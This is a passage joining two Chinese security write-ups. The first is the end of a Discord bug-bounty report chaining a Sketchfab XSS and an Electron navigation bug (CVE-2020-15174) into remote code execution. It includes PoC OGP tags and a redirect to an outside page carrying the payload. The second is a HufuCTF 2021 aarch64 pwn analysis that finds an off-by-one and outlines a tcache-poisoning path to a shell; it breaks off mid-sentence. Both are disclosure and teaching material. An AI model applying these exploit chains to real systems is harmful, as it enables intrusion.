如上所述，我发现任意的JS代码执行都可能发生RCE，因此我试图找到一个XSS漏洞。在信息收集阶段，我发现该应用程序支持自动链接或Markdown特性。所以我把注意力转向iframe嵌入功能。例如，当YouTube
URL被发布时，iframe嵌入的特性会自动在聊天中显示视频播放器。
但是，Discord会对你放入的URL进行校验，获取URL的OGP信息，只有当OGP信息符合要求时，Discord才会展示相关内容。
简单来说，这里的检验属于白名单校验，我们来观察以下能够通过检查的URL
Content-Security-Policy: [...] ; frame-src https://*.youtube.com https://*.twitch.tv https://open.spotify.com https://w.soundcloud.com https://sketchfab.com https://player.vimeo.com https://www.funimation.com https://twitter.com https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/ https://js.stripe.com https://assets.braintreegateway.com https://checkout.paypal.com https://*.watchanimeattheoffice.com
显然，其中一些列表允许iframe嵌入(如YouTube, Twitch,
Spotify)。我尝试通过在OGP信息中一个一个地指定域来检查URL是否可以嵌入到iframe中，并尝试在嵌入的域中找到XSS。经过一些尝试，我发现了sketchfab.com，它是CSP中列出的一个域，可以嵌入到iframe中，我在嵌入页面上找到XSS。我当时还不了解Sketchfab网站，它看起来是一个用户可以发布、购买和销售3D模型的平台。
下面是PoC，它具有精心设计的OGP。当我将这个URL发布到聊天框时，Sketchfab被嵌入到聊天中的iframe中，在iframe上单击几次后，就会执行任意的JS代码
<head>
<meta charset="utf-8">
<meta property="og:title" content="RCE DEMO">
[...]
<meta property="og:video:url" content="https://sketchfab.com/models/2b198209466d43328169d2d14a4392bb/embed">
<meta property="og:video:type" content="text/html">
<meta property="og:video:width" content="1280">
<meta property="og:video:height" content="720">
</head>
最后我又找到了一个XSS，但是JavaScript仍然在iframe上执行。由于Electron不会将“web页面外部的JavaScript代码”加载到iframe中，因此即使我覆盖了iframe上的JavaScript内置方法，我也不能影响Node.js的关键部分。要实现RCE，我们需要跳出iframe，在顶层上下文中执行JavaScript。这需要从iframe打开一个新窗口，或者从iframe导航顶部窗口到另一个URL。
我查看了相关代码，发现主进程代码中使用“new-window”和“will- navigation”事件限制导航的代码:
mainWindow.webContents.on('new-window', (e, windowURL, frameName, disposition, options) => {
e.preventDefault();
if (frameName.startsWith(DISCORD_NAMESPACE) && windowURL.startsWith(WEBAPP_ENDPOINT)) {
popoutWindows.openOrFocusWindow(e, windowURL, frameName, options);
} else {
_electron.shell.openExternal(windowURL);
}
});
[...]
mainWindow.webContents.on('will-navigate', (evt, url) => {
if (!insideAuthFlow && !url.startsWith(WEBAPP_ENDPOINT)) {
evt.preventDefault();
}
});
我本来以为这段代码把我寻找RCE的路封死了，它看起来毫无破绽，但是在测试的过程中我发现了有意思的东西。
## 漏洞三：功能禁用限制的绕过(CVE-2020-15174)
我认为代码写的没什么问题，但在我检查顶部导航在iframe中是否会被阻塞时，我却惊奇地发现，因为某些原因，导航并没有被阻塞。从代码来看，在导航发生之前，”will-navigation”事件应该会尝试捕获它，并被`preventDefault()`拒绝，但实际上没有。
我创建了一个小型Electron应用程序用来测试这个发现。我发现，由于某种原因，”will-navigation”事件没有从iframe开始的顶部导航中发出。确切地说，如果top的域和iframe的域在同一个域，事件就会被发出，但是如果它在不同的域，事件就不会被发出。我认为这应该是Electron的bug，并决定稍后向Electron报告。
在这个bug的帮助下，我最终成功绕过导航限制。我最后需要做的就是使用iframe的XSS漏洞导航到一个含有RCE代码的页面即可，比如说top.location=”//l0.cm/discord_calc.html”
最终，结合三个漏洞，我成功实现了RCE，下面是视频演示。
<https://youtu.be/0f3RrvC-zGI>
## 总结
我向Discord的src报告了漏洞。最终RCE漏洞获得5000美元的奖励，Sketchfab的XSS漏洞获得了300美元奖励。第三个漏洞”will-navigate”事件不能正常发出获得了一个CVE编号(CVE-2020-15174)。
## 参考
<https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en> | 社区文章 |
# 从虎符2021两道Pwn题学习ARM64
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 通过对虎符CTF 2021中两道pwn题的详细分析，来学习Arm64的相关知识
## 简介
这两个Pwn都是基于aarch64的，而且都采用了混淆，看不出题目本来的逻辑，Ghidra干脆啥都看不出来，ida可以看汇编，因此建议读者先学一下aarch64汇编，对常用指令有基本的认识
* <https://www.jianshu.com/p/b9301d02a125>
* <https://ayesawyer.github.io/2019/08/26/arm%E6%B1%87%E7%BC%96%E5%9F%BA%E6%9C%AC%E6%8C%87%E4%BB%A4/>
* <https://www.jianshu.com/p/99067af33f14>
* <https://winddoing.github.io/post/7190.html>
## Apollo
### 分析
程序为`aarch64` 即 `Arm64`，保护全开
➜ apollo checksec apollo
[*] '/root/work/ctf/race/2021/hufuctf/apollo/apollo'
Arch: aarch64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
用ida分析一下，这里申请了一个 `0x1000`的堆块，并且向堆块中写入数据，之后交由 `magic`函数处理
__int64 sub_25CC()
{
ssize_t v0; // x0
__int64 v2; // [xsp+18h] [xbp+18h]
chunk = (__int64)malloc(0x1000uLL);
if ( !chunk )
puts("Init fail!");
printf("cmd> ");
v0 = read(0, (void *)chunk, 0x1000uLL);
magic(v0);
return v2 ^ _stack_chk_guard;
}
再跟进到magic函数里就发现 ida 已经识别不出来了，我最开始觉得这些伪代码是某种寄存器初始化，或者是完全混乱的代码，所以一头扎进汇编里面去了
现在想想有点蠢，主要是没有去分析其他函数，而且人的惰性很可怕，看一会汇编看不出来之后，后面也看不进去了
void magic()
{
_QWORD v0[12]; // [xsp+58h] [xbp+58h]
v0[0] = off_14010;
v0[1] = off_14018[0];
v0[2] = off_14020[0];
v0[3] = off_14028[0];
v0[4] = off_14030[0];
v0[5] = off_14038[0];
v0[6] = off_14040[0];
v0[7] = off_14048[0];
v0[8] = off_14050[0];
v0[9] = off_14058;
v0[10] = off_14060;
v0[11] = off_14068;
__asm { BR X0 }
}
STP X29, X30, [SP,#var_C0]!
; 初始化与canary相关
.text:0000000000000E18 MOV X29, SP
.text:0000000000000E1C STR X19, [SP,#0xC0+var_B0]
.text:0000000000000E20 ADRP X0, #0x13000
.text:0000000000000E24 LDR X0, [X0,#__stack_chk_guard_ptr@PAGEOFF]
.text:0000000000000E28 LDR X1, [X0]
.text:0000000000000E2C STR X1, [X29,#0xC0+var_8]
.text:0000000000000E30 MOV X1, #0 ; canary
.text:0000000000000E34 ADRP X0, #off_14010@PAGE
.text:0000000000000E38 ADD X1, X0, #off_14010@PAGEOFF
.text:0000000000000E3C ADD X0, X29, #0x58 ; 'X'
.text:0000000000000E40 LDP X2, X3, [X1] ; pop x1 to x2 and x3
.text:0000000000000E44 STP X2, X3, [X0] ; push x2 x3 to x0
.text:0000000000000E48 LDP X2, X3, [X1,#0x10]
.text:0000000000000E4C STP X2, X3, [X0,#0x10]
.text:0000000000000E50 LDP X2, X3, [X1,#0x20]
.text:0000000000000E54 STP X2, X3, [X0,#0x20]
.text:0000000000000E58 LDP X2, X3, [X1,#0x30]
.text:0000000000000E5C STP X2, X3, [X0,#0x30]
.text:0000000000000E60 LDP X2, X3, [X1,#0x40]
.text:0000000000000E64 STP X2, X3, [X0,#0x40]
.text:0000000000000E68 LDP X1, X2, [X1,#0x50]
.text:0000000000000E6C STP X1, X2, [X0,#0x50]
.text:0000000000000E70 ADRP X0, #off_13F98@PAGE
.text:0000000000000E74 LDR X0, [X0,#off_13F98@PAGEOFF]
.text:0000000000000E78 LDR X0, [X0]
.text:0000000000000E7C STR X0, [X29,#0xC0+var_78]
.text:0000000000000E80 LDR X0, [X29,#0xC0+var_78]
.text:0000000000000E84 STR X0, [X29,#0xC0+var_70]
.text:0000000000000E88 LDR X0, [X29,#0xC0+var_78]
.text:0000000000000E8C LDRB W0, [X0]
.text:0000000000000E90 MOV W1, W0
; 获取jump_table
.text:0000000000000E94 ADRP X0, #off_13FE8@PAGE ; "\n"
.text:0000000000000E98 LDR X0, [X0,#off_13FE8@PAGEOFF] ; "\n"
.text:0000000000000E9C SXTW X1, W1
;通过我们的输入来索引jump_table
.text:0000000000000EA0 LDR W0, [X0,X1,LSL#2]
.text:0000000000000EA4 SXTW X0, W0
.text:0000000000000EA8 LSL X0, X0, #3
; 获取func_table
.text:0000000000000EAC ADD X1, X29, #0x58 ; 'X'
; 索引要跳转的函数
.text:0000000000000EB0 LDR X0, [X1,X0]
.text:0000000000000EB4 B loc_ED0
通过分析 `magic`函数的汇编代码，我们发现了两个数组
* 位于 `0x014010`的 `func_table`
* 位于 `0x03770`的 `jump_table`
在函数运行过程中，会将用户输入的第一个字符转换成 `ascii码`，与 `jump_table`进行匹配，获取到索引值，如果索引值不是
`11`的话（func_table只有11个函数）
就依照此索引找到 `func_table`中的函数并执行
#### func_table
.data:0000000000014010 off_14010 DCQ loc_EB8
.data:0000000000014018 off_14018 DCQ sub_1018
.data:0000000000014020 off_14020 DCQ sub_11F4
.data:0000000000014028 off_14028 DCQ sub_1394
.data:0000000000014030 off_14030 DCQ sub_14D4
.data:0000000000014038 off_14038 DCQ sub_1620
.data:0000000000014040 off_14040 DCQ sub_1990
.data:0000000000014048 off_14048 DCQ sub_1D10
.data:0000000000014050 off_14050 DCQ sub_2080
.data:0000000000014058 off_14058 DCQ sub_2400
.data:0000000000014060 off_14060 DCQ sub_2550
.data:0000000000014068 off_14068 DCQ sub_2514
#### jump_table
在IDA中，`jump_table`可能并不是以数组的形式显示，这会影响我们的判断，因此需要先进行处理
首先选中 `dword_3770`，右键选择 `undefine`来重置变量类型，接着按 `D`键（右键选择data）把数据格式转换为4字节(DCD)
之后右键选择 `array`， size选择`256`，即可将8位数据转化为数组
这里插播一点关于aarch64伪指令的小知识
* DCB分配一段字节的内存单元，其后的每个操作数都占有一个字节
* DCW分配一段半字的内存单元，其后的每个操作数都占有两个字节
* DCD分配一段字的内存单元，其后的每个操作数都占有4个字节
* DCQ分配一段双字的内存单元，其后的每个操作数都占有8个字节
.rodata:0000000000003770 jump_table DCD 0xA, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 1, 3
.rodata:0000000000003770 DCD 0xB, 4, 0xB, 2, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 7, 0xB
.rodata:0000000000003770 DCD 0xB, 8, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 9, 0xB, 0xB, 6, 0xB, 0xB, 0xB, 5, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB
关于 `func_table`和 `jump_table`之间的匹配关系，我们可以通过脚本来转化, 最后结果如下：
这里的脚本引用自轩哥博客：<https://xuanxuanblingbling.github.io/ctf/pwn/2021/04/03/hufu/>
jump_table = [0xA, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 1, 3
,0xB, 4, 0xB, 2, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 7, 0xB
,0xB, 8, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 9, 0xB, 0xB, 6, 0xB, 0xB, 0xB, 5, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB]
func_table = ["loc_EB8"
,"sub_1018"
,"sub_11F4"
,"sub_1394"
,"sub_14D4"
,"sub_1620"
,"sub_1990"
,"sub_1D10"
,"sub_2080"
,"sub_2400"
,"sub_2550"
,"sub_2514"]
index = 0
for i in jump_table:
if i != 0xb:
print("%s:%d:%s"%(chr(index),i,func_table[i]))
index += 1
➜ apollo python jump_table.py
:10:sub_2550
*:1:sub_1018
+:3:sub_1394
-:4:sub_14D4
/:2:sub_11F4
M:0:loc_EB8
a:7:sub_1D10
d:8:sub_2080
p:9:sub_2400
s:6:sub_1990
w:5:sub_1620
#### 关键函数功能分析
通过以上分析我们已经找到了输入与函数调用之间的关系，那么下一步就是分析每个函数所对应的功能，但分析的时候我们发现很多函数中有未知的全局变量，不太好分析，因此我们先找一下这些全局变量在什么地方被赋值
##### sub_2550 -> finish
这个函数非常简单，直接输出finish并退出
void __noreturn finish()
{
puts("Finish");
exit(1);
}
##### loc_eb8 -> init
这个函数比较特殊，如果在ida中按 F5反编译的话，会直接显示 `magic`的伪代码，也就是说ida把它认作了 `magic`函数的一部分
（其实也没啥错，毕竟函数跳转之后栈帧都没变，但这样比较影响我们分析，因此要将 `loc_eb8`与 `magic`分离）
* 在`sub_E14`处右键`Edit function`，设置`end address`为`0xeb8`
* 在`loc_EB8`处右键`Create function`，然后F5即可：
__int64 sub_EB8()
{
__int64 v0; // x29
// v0+0x48指向用户输入
if ( dword_14098
|| (input_char_1 = *(unsigned __int8 *)(*(_QWORD *)(v0 + 72) + 1LL),// 用户输入的第一个字符
input_char_2 = *(unsigned __int8 *)(*(_QWORD *)(v0 + 72) + 2LL),// 输入的第二个字符
input_char_1 > 16)
|| input_char_2 > 16
|| input_char_1 <= 3
|| input_char_2 <= 3 )
{
puts("Abort");
exit(255);
}
qword_14088 = (__int64)calloc(input_char_1 * input_char_2, 1uLL);
qword_14090 = (__int64)calloc(input_char_1 * input_char_2, 1uLL);
dword_14098 = 1;
*(_QWORD *)(v0 + 72) += 3LL; // 指向用户输入的第三个字符
return (*(__int64 (**)(void))(v0 + 88 + 8LL * jump_table[**(unsigned __int8 **)(v0 + 72)]))();// 跳转
}
这个函数的伪代码比较全，`v0`在arm64中保存的是栈基址，类似于x64中的`rbp`，如果你对之前
`sub_e14`汇编的逻辑比较了解的话，应该能意识到 `v0+72`指向的就是我们输入的内容
为了方便之后的分析，我们为`v0`建立一个结构体，过程如下：
首先进入 IDA中的 `Structures`窗口
这里前四行是`Structures`选项卡的使用说明，后三行是IDA自带的结构体，前四行翻译过来就是：
* `Insert/Delete键` 创建和删除结构体
* `D/A/*键` 添加不同类型的结构体成员，这里要注意光标位置不同D键的作用也不同
* `N键` 对结构体或结构体成员重命名
* `U键` 删除结构体成员
我们在这里按 `insert`新建结构体，出现如下界面，直接取个名字然后确定
之后按照之前分析的结果 `v0+72`是我们的输入，`v0+58`对应的是 `func_table`，因此我们的结构体可以先这样构造：
00000000 apollo_struct struc ; (sizeof=0xA8, mappedto_33)
00000000 data1 DCB 72 dup(?)
00000048 input DCB 16 dup(?)
00000058 func_table DCB 80 dup(?)
000000A8 apollo_struct ends
000000A8
完成后回到函数中，右键 `v0`，点击 `convert to struct *`，选择我们新建的结构体，效果如下
__int64 m_init()
{
apollo_struct *v0; // x29
// v0+0x48指向用户输入
if ( init_flag
|| (y = *(unsigned __int8 *)(*(_QWORD *)v0->input + 1LL),// 用户输入的第一个字符
x = *(unsigned __int8 *)(*(_QWORD *)v0->input + 2LL),// 输入的第二个字符
y > 16)
|| x > 16
|| y <= 3
|| x <= 3 )
{
puts("Abort");
exit(255);
}
calloc_1 = (__int64)calloc(y * x, 1uLL);
calloc_2 = (__int64)calloc(y * x, 1uLL);
init_flag = 1;
*(_QWORD *)v0->input += 3LL; // 指向用户输入的第三个字符
return (*(__int64 (**)(void))&v0->func_table[8 * jump_table[**(unsigned __int8 **)v0->input]])();// 跳转
}
这样这个函数的功能就完全清晰了，结合题目 `开车`的hint，这应该是一个 `init`函数
根据用户的输入初始化道路，申请两个chunk并且把 `init_flag`置1
##### sub_1018 -> add
这个函数的主要功能是申请堆块
首先将用户输入的第1~4个字符赋值给相应变量
接着做相应检查，将输入的 char1 char2 与 x y做比较，并且检查 calloc_1中 `y*char1+char2`位置是否已经有值,
如果没有值的话就将其置1
之后还有一个 `size`变量， `size = char3 + char4<<8`
之后会申请一个chunk，其大小为size，chunk地址存入 `map+y*char1+char2`中
之后 `read(0,map+y*char1+char2,size）`
void add()
{
apollo_struct *v0; // x29
int v1; // w19
if ( init_flag )
{
*(_DWORD *)&v0->data1[0x30] = *(unsigned __int8 *)(*(_QWORD *)v0->input + 1LL);
*(_DWORD *)&v0->data1[0x34] = *(unsigned __int8 *)(*(_QWORD *)v0->input + 2LL);
*(_DWORD *)&v0->data1[0x3C] = *(unsigned __int8 *)(*(_QWORD *)v0->input + 3LL);
*(_DWORD *)&v0->data1[0x40] = *(unsigned __int8 *)(*(_QWORD *)v0->input + 4LL);
*(_DWORD *)&v0->data1[0x44] = *(_DWORD *)&v0->data1[0x3C] + (*(_DWORD *)&v0->data1[0x40] << 8);// input_3 + input_4 << 8
if ( *(_DWORD *)&v0->data1[0x30] < y
&& *(_DWORD *)&v0->data1[0x34] < x
&& !*(_BYTE *)(calloc_1 + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34])
&& *(int *)&v0->data1[0x44] > 0
&& *(int *)&v0->data1[0x44] <= 0x600 )
{
*(_BYTE *)(calloc_1 + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34]) = 1;
v1 = x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34];
*((_QWORD *)&map + v1) = malloc(*(int *)&v0->data1[0x44]);
read(
0,
*((void **)&map + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34]),
*(int *)&v0->data1[0x44]);
*(_QWORD *)v0->input += 5LL;
JUMPOUT(0xED0LL);
}
JUMPOUT(0x256CLL);
}
puts("Abort");
exit(255);
}
##### sub_11F4 -> del
和上一个函数相对，这个函数主要是释放堆块，且释放后会清空指针，因此不存在 `uaf`
在做一些检查后会释放 `map+y*char1+char2`处的堆块
并将 `calloc_1 + y*char1+char2`处置零
void del()
{
apollo_struct *v0; // x29
if ( init_flag ) // /
{
*(_DWORD *)&v0->data1[0x30] = *(unsigned __int8 *)(*(_QWORD *)v0->input + 1LL);
*(_DWORD *)&v0->data1[0x34] = *(unsigned __int8 *)(*(_QWORD *)v0->input + 2LL);
if ( *(_DWORD *)&v0->data1[0x30] < y
&& *(_DWORD *)&v0->data1[0x34] < x
&& *(_BYTE *)(calloc_1 + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34]) == 1
&& *((_QWORD *)&map + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34]) )
{
free(*((void **)&map + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34]));
*((_QWORD *)&map + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34]) = 0LL;// no uaf
*(_BYTE *)(calloc_1 + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34]) = 0;
*(_QWORD *)v0->input += 3LL;
JUMPOUT(0xED0LL);
}
JUMPOUT(0x256CLL);
}
puts("Abort");
exit(255);
}
##### sub_1394 -> set_light
将`char3`赋值给 `calloc_1 + y*char1 + char2`
void set_light()
{
apollo_struct *v0; // x29
if ( init_flag )
{
*(_DWORD *)&v0->data1[0x30] = *(unsigned __int8 *)(*(_QWORD *)v0->input + 1LL);
*(_DWORD *)&v0->data1[0x34] = *(unsigned __int8 *)(*(_QWORD *)v0->input + 2LL);
*(_DWORD *)&v0->data1[0x38] = *(unsigned __int8 *)(*(_QWORD *)v0->input + 3LL);
if ( *(_DWORD *)&v0->data1[0x30] < y
&& *(_DWORD *)&v0->data1[0x34] < x
&& !*(_BYTE *)(calloc_1 + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34])
&& *(int *)&v0->data1[0x38] > 1
&& *(int *)&v0->data1[0x38] <= 4 )
{
*(_BYTE *)(calloc_1 + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34]) = *(_DWORD *)&v0->data1[0x38];
*(_QWORD *)v0->input += 4LL;
JUMPOUT(0xED0LL);
}
JUMPOUT(0x256CLL);
}
puts("Abort");
exit(255);
}
##### sub_14D4 -> del_light
将 `calloc_1 + y*char1+char2`位置置零
void del_light()
{
apollo_struct *v0; // x29
if ( init_flag )
{
*(_DWORD *)&v0->data1[0x30] = *(unsigned __int8 *)(*(_QWORD *)v0->input + 1LL);
*(_DWORD *)&v0->data1[0x34] = *(unsigned __int8 *)(*(_QWORD *)v0->input + 2LL);
if ( *(_DWORD *)&v0->data1[0x30] < y
&& *(_DWORD *)&v0->data1[0x34] < x
&& *(unsigned __int8 *)(calloc_1 + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34]) > 1u
&& *(unsigned __int8 *)(calloc_1 + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34]) <= 4u )
{
*(_BYTE *)(calloc_1 + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34]) = 0;
*(_QWORD *)v0->input += 3LL;
JUMPOUT(0xED0LL);
}
JUMPOUT(0x256CLL);
}
puts("Abort");
exit(255);
}
##### sub_02400 -> show
这个函数的作用是输出
它会遍历小车行进的整个路线，如果当前位置的值为1，则输出该位置的坐标以及对应chunk的内容
void show()
{
apollo_struct *v0; // x29
if ( init_flag )
{
*(_DWORD *)&v0->data1[0x24] = 0;
for ( *(_DWORD *)&v0->data1[0x24] = 0; *(_DWORD *)&v0->data1[0x24] < y * x - 1; ++*(_DWORD *)&v0->data1[0x24] )
{
*(_DWORD *)&v0->data1[0x28] = *(_DWORD *)&v0->data1[0x24] / x;// get now_y
*(_DWORD *)&v0->data1[0x2C] = *(_DWORD *)&v0->data1[0x24] - x * *(_DWORD *)&v0->data1[0x28];// get now_x
if ( *(_BYTE *)(calloc_1 + *(int *)&v0->data1[0x24]) == 1 )
{
printf("pos:%d,%d\n", *(unsigned int *)&v0->data1[0x28], *(unsigned int *)&v0->data1[0x2C]);
puts(*((const char **)&map + *(int *)&v0->data1[0x24]));
}
}
++*(_QWORD *)v0->input;
JUMPOUT(0xED0LL);
}
JUMPOUT(0x25B8LL);
##### sub_1620[down], sub_1990[up], sub_1d10[left], sub_2080[right]
这几个函数对应的输入索引是 `w a s d`，因此应该能猜出来其对应的功能是控制小车运动
此外，这几个函数中出现了三个未知的变量 `dword_140A4` `dword_140A8`以及 `dword_14080`
通过这段代码，结合函数的功能，猜测`dword_140A4` 与`x`相关，`dword_140A8`与`y`相关，而
`dword_14080`应该是用来记录操作步数的
v1 = dword_14080++;
*(_BYTE *)(calloc_2 + dword_140A4 * y + dword_140A8) = v1;
具体是不是这样，我们可以进去调试一下，经过调试后发现，当我们不进行任何操作，在初始化后就直接调用 `w` `a` `s` `d`对应的函数时
`dword_140A4` `dword_140A8`以及 `dword_14080`都为0
而当我们控制小车运动时，这几个变量的值也会相应发生变化，那么也就验证了我们的猜测。
在此我已`up`函数为例来分析一下
void s_up()
{
apollo_struct *v0; // x29
char v1; // w0
if ( init_flag )
{
if ( y - 1 > current_y
&& *(_BYTE *)(calloc_1 + (current_y + 1) * x + current_x) != 1
&& *(_BYTE *)(calloc_1 + (current_y + 1) * x + current_x) != 4 )
{
*(_BYTE *)(calloc_1 + current_y * x + current_x) = 0;
if ( *(_BYTE *)(calloc_1 + (current_y + 1) * x + current_x) )
{
if ( *(_BYTE *)(calloc_1 + (current_y + 1) * x + current_x) == 2
|| *(_BYTE *)(calloc_1 + (current_y + 1) * x + current_x) == 3 )
{
*(_BYTE *)(calloc_1 + (current_y + 2) * x + current_x) = 5;
current_y += 2;
}
}
else
{
*(_BYTE *)(calloc_1 + ++current_y * x + current_x) = 5;
}
}
v1 = step_count++;
*(_BYTE *)(calloc_2 + current_y * x + current_x) = v1;
++*(_QWORD *)v0->input;
JUMPOUT(0xED0LL);
}
puts("Abort");
exit(255);
}
当小车的前方位置值不是 `1或4`时，小车前进 `1`格，之后将所在位置的值置为 `5`
当小车的前方位置值是 `2或3`时，小车前进 `2`格，之后将所在位置的值置为 `5`
函数对于 `current_y`的限制是`y - current_y > 1`，这就造成了一个 `off-by-one`，如果我们令`y -current_y = 2`
那么前进过后 `current_y = y`, `current_y * x = x * y`, 此时 `*(_BYTE *)(calloc_2 +
current_y * x + current_x) = v1`就会溢出一个字节，溢出的位置由 `current_x`决定
##### 总结
至此我们已经完成了所有重点函数的分析，函数索引表也可以更新一下了
:10:finish
*:1:add
+:3:set_light
-:4:del_light
/:2:del
M:0:init
a:7:left
d:8:right
p:9:show
s:6:up
w:5:down
### 利用思路
在完整的理清了程序的逻辑与漏洞点后，我们就可以开始构思利用思路了
实际上在看懂程序后，这道题的思路很简单，就是利用 `off by one`构造堆块重叠，之后通过重叠泄露`libc基地址`
再利用 `tcache poison`将堆块申请到 `free_hook`位置，写入 `system`
最后释放一个内容为 `/bin/sh\x00`的堆块，`getshell`
#### 泄露libc
这里我采用的方法比较简单暴力，首先申请若干 `0x20`大小的chunk和 `0xa0`大小的chunk，之后释放 `0xa0`大小的chunk使其填满
`tcache`
只有利用 `off-by-one`修改第一个 `0x20`大小chunk的size为`0xa1`，并将其释放，这时由于
`0xa0`的tcache已经被填满，且堆块的大小已经超出了 `fastbin`的范围，因此会被放入 `unsorted
bin`中，此时这个chunk中就会被写入 `libc base`相关的地址，之后申请一个 `0x40`大小的chunk，使得 `libc
